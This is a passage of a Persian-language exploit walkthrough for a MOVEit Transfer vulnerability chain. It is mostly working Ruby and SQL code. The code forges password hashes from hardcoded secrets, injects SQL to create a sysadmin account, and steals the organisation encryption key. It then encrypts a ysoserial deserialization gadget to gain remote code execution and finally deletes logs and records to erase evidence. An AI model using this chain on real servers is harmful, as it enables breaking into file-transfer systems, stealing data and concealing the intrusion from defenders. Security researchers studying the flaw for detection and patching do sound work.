SecretProvider.GetSecret("pwpost"); algorithm.TransformFinalBlock(secret2, 0, secret2.Length); Array.Clear((Array) secret2, 0, secret2.Length); return algorithm.Hash; } internal static byte[] GetSecret(string type) { switch (type) { // …snip… case "pwpost": return System.Convert.FromBase64String(CGKI.GKIS(1832849602674192119L, 3685880422578908704L, 6883805924711697603L, 6740642329746897286L, 692300177375962740L)); case "pwpre": return System.Convert.FromBase64String(CGKI.GKIS(1845332329897477212L, 4637843192103954791L, 1234463786088007299L, 8498588879767226209L, 3995686897690123380L)); default: throw new ApplicationException("Unknown secret type " + type); } |
همونطور که در کد قابل مشاهده هستش، پسورد با استفاده از MD5 و یه مقدار salt و دو مقدار استاتیک با عنوان secret1 و secret2 و مقادیر pwpre و pwpost هش میشه. مقادیر base64 این مقادیر استاتیک برابر =VT2jkEH3vAs= و =0maaSIA5oy0= هستش.
بنابراین ما میتونیم با استفاده از کد روبی زیر یه پسورد ایجاد کنیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
def makev1password(password, salt='AAAA') raise "password cannot be empty" if password.empty? raise "salt must be 4 bytes" if salt.length != 4 # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret pwpre = Base64.decode64('=VT2jkEH3vAs=') pwpost = Base64.decode64('=0maaSIA5oy0=') md5 = Digest::MD5.new md5.update(pwpre) md5.update(salt) md5.update(password) md5.update(pwpost) pw = [(4+4+16), 0, 0, 0].pack('CCCC') pw << salt pw << md5.digest return Base64.strict_encode64(pw).gsub('+','-') end hax_username = rand_string(8) hax_loginname = rand_string(8) hax_password = rand_string(8) |
الان با استفاده از SQLi و پسوردی که ایجاد کردیم، از طریق کوئری های زیر، میتونیم یه کاربر sysadmin ایجاد کنیم :
1 2 3 4 5 6 7 8 9 10 11 |
"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')", "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET InstID='#{instid}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, rand_string(4))}' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'", "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'", |
بدست آوردن API Token:
در این مرحله ما از طریق IP به REST API دسترسی داریم و میتونیم با استفاده از اکانت sysadmin که ایجاد کردیم به REST API لاگین کنیم. در این مرحله نیاز به توکن داریم. با ارسال یه درخواست POST به /api/v1/token میتونیم یه access_token بدست بیاریم که به ما امکان فراخوانی همه REST API قابل دسترس میده :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
token_response = HTTParty.post( "#{TARGET}/api/v1/token", verify: false, headers: { 'Content-Type' => 'application/x-www-form-urlencoded', }, follow_redirects: false, body: "grant_type=password&username=#{hax_loginname}&password=#{hax_password}", ) if token_response.code != 200 raise "Couldn't get API token (#{token_response.body})" end token_json = JSON.parse(token_response.body) log("Got API access token='#{token_json['access_token']}'.") |
پیدا کردن یه Folder ID :
در این مرحله ما از طریق IP و اکانت sysadmin و توکن ،دسترسی به RestAPI داریم و طبق موردی که بالا بررسی کردیم، نیاز هستش که یه فایلی رو آپلود کنیم. در این مرحله میخواییم یه جای مناسب برای این کار پیدا کنیم. برای اینکه ما بتونیم یه فایلی رو آپلود کنیم، باید یه ID فولدر در MOVEit Transfer پیدا کنیم. برای این کار میتونیم از /api/v1/folders
استفاده کنیم که یه آرایه json از فولدرهای موجود در سیستم برمیگردونه :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
folders_response = HTTParty.get( "#{TARGET}/api/v1/folders", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", }, follow_redirects: false, ) if folders_response.code != 200 raise "Couldn't get API folders (#{folders_response.body})" end folders_json = JSON.parse(folders_response.body) log("Found folderId '#{folders_json['items'][0]['id']}'.") |
ایجاد یه Resumable File Upload :
در این مرحله، ما از طریق IP به REST API دسترسی داریم و میتونیم با اکانت sysadmin به اون لاگین کنیم و یه فولدر هم داریم که میتونیم فایلمون رو توش آپلود کنیم. در این مرحله می خواییم از یه آسیب پذیری deserialization که در زمان آپلود مجدد فایل رخ میده استفاده کنیم. بنابراین برای اینکه به این مسیر از کد برسیم، باید یه فایل آپلود مجدد از طریق فراخوانی /api/v1/folders/{id}/files?uploadType=resumable
ایجاد کنیم. با این کار یه ردیف در جدول moveittransfer.files برای ذخیره متادیتای فایل در حال آپلود و یه ردیف هم در جدول moveittransfer.fileuploadinfo برای ذخیره وضعیت فایل در حال آپلود ایجاد میشه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
uploadfile_name = rand_string(8) uploadfile_size = 8 uploadfile_data = rand_string(uploadfile_size) files_response = HTTParty.post( "#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", }, follow_redirects: false, multipart: true, body: { name: uploadfile_name, size: (uploadfile_size).to_s, comments: '' } ) if files_response.code != 200 raise "Couldn't post API files #1 (#{files_response.body})" end files_json = JSON.parse(files_response.body) log("Initiated resumable file upload for fileId '#{files_json['fileId']}'...") |
بدست آوردن کلید رمزنگاری :
در این مرحله ما از طریق IP و اکانت sysadmin به REST API دسترسی داریم و یه فایل با قابلیت آپلود مجدد رو در یه فولدری ایجاد کردیم. اطلاعات وضعیت این فایل بصورت یه شی دات نتی serialized رمز شده در فیلد State در جدول moveittransfer.fileuploadinfo ذخیره میشه. خب اگه ما بخواییم یه deserialization gadget در این فیلد قرار بدیم، باید بتونیم اونو رمز کنیم و برای اینکه بتونیم رمز کنیم باید کلید رمزنگاری داشته باشیم.
MOVEit Transfer از کلید رمزنگاری خاص organization که فایل در اون آپلود میشه، استفاده میکنه. این organization معمولا با مقدار InstID هنگام درخواست API یا دیتابیس ، مشخص میشه. با توجه به اینکه اکانت ما sysadmin هستش، بنابراین باید دنبال کلید رمزنگاری برای organization باشیم که InstID اون صفر باشه.
این کلید در رجیستری ویندوز ذخیره میشه، اما ما بعنوان یه هکر راه دور به رجیستری دستری نداریم. خوشبختانه یه کپی از اون در جدول moveittransfer.registryaudit
با عنوان KeyName با مقدار Standard Networks\siLock\Institutions\0
ذخیره میشه. یه نکته جالب اینکه ، MOVEit Transfer SSH private key هم در این جدول ذخیره میشه.
خب ما SQLi داریم و دیتا هم داخل جدول نوشته شده بنابراین در این مرحله میتونیم، کلید رمزنگاری رو با استفاده از SQLi در متادیتای فایل قابل آپلود مجدد بنویسیم و بعدش با REST API این متادیتارو بخونیم. کوئری زیر کلید رمزنگاری رو در فیلد متادیتای UploadAgentBrand فایل، مینویسه. با توجه به اینکه در SQL نمتونیم از کاراکتر \ استفاده کنیم، بنابراین از تابع CHAR_LENGTH برای جستجوی فیلد استفاده شده. این روش انتخاب شده چون سایر مقادیر InstId که صفر نیستن، یه عدد صحیح با بیش از یه کاراکتر هستن، بنابراین ما میتونیم دنبال KeyName های مورد علاقه امون با طول خاص باشیم.
1 |
"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'" |
حالا میتونیم با یه درخواست GET به نقطه پایانی /api/v1/files/{id}
، کلید رمزنگاری بدست بیاریم.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
leak_response = HTTParty.get( "#{TARGET}/api/v1/files/#{files_json['fileId']}", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", }, follow_redirects: false, ) if leak_response.code != 200 raise "Couldn't post API files #LEAK (#{leak_response.body})" end leak_json = JSON.parse(leak_response.body) org_key = leak_json['uploadAgentBrand'] log("Leaked the Org Key: #{org_key}") |
برای مثال کلید رمزنگاری 16 بایتی برای محققا اینجوری بوده :
1 |
0B 52 CA 0B FA 01 6F 19 5E D3 61 B1 B9 2A DA 75 |
رمزنگاری Deserialization Gadget :
خب تا اینجا ما با IP و اکانت sysadmin به Rest API دسترسی داریم، تونستیم کلید رمزنگاری و فولدر برای آپلود هم بدست بیاریم. حالا میخواییم در این مرحله Deserialization Gadget مون رو رمز کنیم. deserialization دات نتی ناامن در متد MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler
طی یه BinaryFormatter.Deserializecall رخ میده:
1 2 3 4 5 6 7 8 9 |
// MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath) { // …snip… using (MemoryStream serializationStream = new MemoryStream(this._uploadState)) return (FileTransferStream) new BinaryFormatter() { Context = new StreamingContext(StreamingContextStates.All, (object) additional) }.Deserialize((Stream) serializationStream); // <---- |
بنابراین ما باید دنبال یه deserialization gadget باشیم که در داخل MOVEit Transfer IIS Worker Process باشه. خوشبختانه نیازی به نوشتن deserialization gadget اختصاصی نیست و میتونیم از ابزار ysoserial.net استفاده کنیم. TextFormattingRunProperties gadget که برای یه BinaryFormatter هستش، بعد از deserialized میتونه RCE بده. خب ما میتونیم از این gadget برای اجرای Notepad بصورت زیر استفاده کنیم :
1 |
> ysoserial.exe --command=notepad.exe -o base64 -f BinaryFormatter -g TextFormattingRunProperties |
اگه gadget رو Base64 کنیم :
1 |
AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs= |
الان ما gadget رو هم داریم و تنها کاری که مونده اینه که اونو با کلید رمزنگاری که بدست آوردیم ، رمز کنیم. برای رمزنگاری ما کلید رو داریم اما نمیدونیم چه الگوریتم رمزنگاری استفاده شده.
محققا با مهندسی معکوس متوجه شدن که الگوریتم رمزنگاری در متد MOVEit.Crypto.AesMOVEitCryptoTransform
تعریف شده. در کل الگوریتم AES-256-CBC هستش با 16 بایت IV که شامل 4 بایت اول هش شده کلید رمزنگاری که بدست آوردیم با SHA1 هستش که 4 بار تکرار شده.
کلید رمزنگاری ارسال شده به AES یه کلید 32 بایتی هستش که یه مقدار ثابت 12 بایتی ، مقدار 16 باید کلید رمزنگاری که ما بدستش آوردیم و 4 بایت Null تشکیلش میده. این مقدار ثابت 12 بایتی توسط MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey
ایجاد میشه که آرگومان orgId در این مورد 1- هستش:
1 2 3 4 5 6 7 8 |
// MOVEit.DMZ.Core.Cryptography.Encryption private static byte[] GetDatabaseEncryptionKey(int orgId, BaseKey baseKey) { byte[] sourceArray = ByteArrayUtility.Concat(ByteArrayUtility.Convert.FromHex(new CGetK().DoD(orgId >= 0 ? "u5RcVwB0hSLnaRdL14UmfCpj" : "Pm6XfoTpbShD8y2bcTWfGyBB")), baseKey.KeyBytes); byte[] destinationArray = new byte[32]; Array.Copy((Array) sourceArray, (Array) destinationArray, sourceArray.Length); return destinationArray; } |
مقدار رمزشده، با یه ساختار هدر ساده که توسط MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader
تعریف شده، فرمت دهی میشه که شامل شماره نسخه، 2 بایت هش داده و 4 بایت ابتدایی IV هستش.
در نهایت هدر و داده رمزشده، با base64 انکد میشن و یه مقدار تگ @%!
به ابتداش اضافه میشه.
MOVEit Transfer هنگام نوشتن داده رمز شده در دیتابیس ، DBFieldEncrypt
فراخوانی میکنه و هنگام رمزگشایی از DBFieldDecrypt
استفاده میکنه.
همونطور که مشاهده میکنید، در فراخوانی DBFieldEncrypt
، مقدار orgId باید 1- باشه که هم روی مقدار استاتیک تولید شده در GetDatabaseEncryptionKey
و هم در استفاده از organization 0 key در فراخوانی Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0)
تاثیر میزاره. به همین دلیل هستش که ما در مراحل قبل خواستیم که کلید رمزنگاری organization 0 رو بدست بیاریم.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
public string DBFieldEncrypt(string plainText) => Encryption.EncryptStringForDatabase(plainText); public static string EncryptStringForDatabase(string plainText, int orgId = -1) => !string.IsNullOrEmpty(plainText) ? Encryption.EncryptBytesForDatabase(MOVEit.DMZ.Core.Constants.Utf8Encoding.GetBytes(plainText), orgId) : string.Empty; // MOVEit.DMZ.Core.Cryptography.Encryption public static string EncryptBytesForDatabase(byte[] plainText, int orgId = -1, bool utf = true) { bool flag = orgId >= 0; OrgKey orgKey = Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0); byte[] databaseEncryptionKey = Encryption.GetDatabaseEncryptionKey(orgId, (BaseKey) orgKey); string str = Encryption.EncryptBytes(plainText, databaseEncryptionKey, orgKey.IdBytes); return (utf ? (flag ? "#@%" : "@%!") : (flag ? "#%" : "@!")) + str; } private static string EncryptBytes(byte[] plainText, byte[] key, byte[] keyId = null) { keyId = keyId ?? new byte[4]; try { BaseKey baseKey = new BaseKey() { KeyBytes = key, IdBytes = keyId }; using (MemoryHeaderStream baseStream = new MemoryHeaderStream()) { using (EncryptedStream encryptionStream = Encryption._stringEncryptionStreamFactory.GetEncryptionStream((FileHeaderStream) baseStream, baseKey)) { encryptionStream.Write(plainText, 0, plainText.Length); encryptionStream.Finish(); return System.Convert.ToBase64String(baseStream.ToArray()); } } } catch (Exception ex) { throw new CryptographicException("Error encrypting data: " + ex.Message, ex); } } |
اگه همه موارد بالا رو کنار هم قرار بدیم، حالا میتونیم با کد زیر، deserialization gadget خودمون رو رمز کنیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
def moveitv2encrypt(data, org_key, iv=nil, tag='@%!') raise "org_key must be 16 bytyes" if org_key.length != 16 if iv.nil? iv = rand_string(4) # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence. iv = iv * 4 end # MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*') key = key + org_key key = key + [0, 0, 0, 0].pack('C*') # MOVEit.Crypto.AesMOVEitCryptoTransform cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = key cipher.iv = iv encrypted_data = cipher.update(data) + cipher.final data_sha1_hash = Digest::SHA1.digest(data).unpack('C*') org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*') # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader header = [ 225, # MOVEitV2EncryptedStringHeader 0, data_sha1_hash[0], data_sha1_hash[1], org_key_sha1_hash[0], org_key_sha1_hash[1], org_key_sha1_hash[2], org_key_sha1_hash[3], iv.unpack('C*')[0], iv.unpack('C*')[1], iv.unpack('C*')[2], iv.unpack('C*')[3], ].pack('C*') # MOVEit.DMZ.Core.Cryptography.Encryption.EncryptBytesForDatabase return tag + Base64.strict_encode64(header + encrypted_data) end org_key.gsub!(' ', '') org_key = [org_key].pack('H*').bytes.to_a.pack('C*') deserialization_gadget = moveitv2encrypt(gadget, org_key) log("Encrypted the gadget with Org Key: #{deserialization_gadget}") |
ذخیره Gadget :
خب در این مرحله ما از طریق IP و اکانت به REST API دسترسی داریم، محل نوشتن و deserialization gadget رمز شده رو هم داریم. در این مرحله میخواییم با استفاده از SQLi ، اونو در فیلد State جدول moveittransfer.fileuploadinfo
برای فایل قابل آپلود مجددمون بنویسیم :
1 |
"UPDATE moveittransfer.fileuploadinfo SET State='#{deserialization_gadget}' WHERE FileID='#{files_json['fileId']}'" |
فراخوانی Deserialization ناامن:
خب در این مرحله همه موارد سرجاش هستش و فقط کافیه که ما Deserialization ناامن رو فراخوانی کنیم. برای این منظور یه درخواست PUT به نقطه پایانی /api/v1/folders/{id}/files?uploadType=resumable&fileId={id}
ارسال میکنیم تا متد MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.GetUploadStream
اجرا بشه:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
log("Triggering gadget deserialization...") files_response = HTTParty.put( "#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}", verify: false, headers: { 'Authorization' => "Bearer #{token_json['access_token']}", 'Content-Type' => "application/octet-stream", 'Content-Range' => "bytes 0-#{uploadfile_size-1}/#{uploadfile_size}", 'X-File-Hash' => Digest::SHA1.hexdigest(uploadfile_data), }, follow_redirects: false, body: uploadfile_data[0,uploadfile_data.length] ) # 500 if payload runs :) if files_response.code != 500 raise "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})" end log("Gadget deserialized, RCE Achieved!") |
متد GetUploadStream
در ابتدا برای اینکه state ذخیره شده در دیتابیس برای فایل قابل آپلود مجدد رو رمزگشایی کنه ، GetFileUploadInfo
رو فراخوانی میکنه. این همون فیلدی هستش که deserialization gadget رمز شده ما توش نشسته. gadget بعد از رمزگشایی در متغیر _uploadState
قرار میگیره. بعدش DeserializeFileUploadStream
فراخوانی میشه. این متد یه نمونه BinaryFormatter جدید ایجاد میکنه و gadget ما رو deserialize میکنه و در نتیجه RCE رو داریم.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
// MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler public Stream GetUploadStream(FolderUploadFilePartRequest request) { this._folderId = request.Id; this._fileId = request.FileId; this._range = request.UploadRange; this._fileHash = request.FileHash; this._chunkSize = request.ChunkSize; if (!this.CheckIsFolderIdExists() || !this.CheckIsFileExists() || !this.GetFileUploadInfo() || !this.CheckRange()) // <---- read the gadget return Stream.Null; this._sendBytes = ((long?) this._range?.From).GetValueOrDefault(); if (!this._activeTransfersUpdateService.InitStatusConnection()) this._xferId = -1L; this._fileUploadStream = this.DeserializeFileUploadStream(new DataFilePath(this._orgId, this._targetFolderId, this._fileId));// <---- deserialize the gadget this.SubscribeToStreamEvents(); return (Stream) this._fileUploadStream; } private bool GetFileUploadInfo() { string tableNameAttribute1 = SqlTable.FileUploadInfo.GetTableNameAttribute(); string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute(); SILDictionary<string, string> silDictionary = new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo).AddColumnToSelect(tableNameAttribute1, "Comment").AddColumnToSelect(tableNameAttribute1, "XferID").AddColumnToSelect(tableNameAttribute1, "State").AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute1 + ".FileID").AddAndToWhere(tableNameAttribute1 + ".FileID='" + this._fileId + "'").AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'").SelectQueryRow(); if (silDictionary == null) { this.SetParameterError(3800, 90512, this._fileId); return false; } this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(silDictionary["Comment"]); this._xferId = long.Parse(silDictionary["XferID"]); this._uploadState = System.Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(silDictionary["State"])); // <---- decrypt our gadget and store it in _uploadState return true; } private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath) { if (this._uploadState.Length == 0) return this.CreateFileUploadStream(filePath); int num = 1; FileHeaderStream additional; while (true) { try { additional = this._fileSystem.OpenWrite((FilePath) filePath); break; } catch (IOException ex) { this._globals.objDebug.Log(LogLev.SomeDebug, string.Format("{0}: Error opening file {1} for writing (try {2} of {3}): {4}", (object) nameof (ResumableUploadFilePartHandler), (object) filePath, (object) num, (object) 10, (object) ex.Message)); if (num == 10) { throw; } else { Thread.Sleep(1000); ++num; } } } using (MemoryStream serializationStream = new MemoryStream(this._uploadState)) return (FileTransferStream) new BinaryFormatter() { Context = new StreamingContext(StreamingContextStates.All, (object) additional) }.Deserialize((Stream) serializationStream); // <---- b00m! } |
حذف IOC ها:
بعد از اینکه RCE رو انجام دادیم، میتونیم با استفاده از SQLi تمام شواهد رو از رو سیستم قربانی پاک کنیم:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
"DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", # "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname "DELETE FROM moveittransfer.log WHERE Username='Guest:#{MYGUESTEMAILADDR}'", # The SQLi generates a guest log entry. |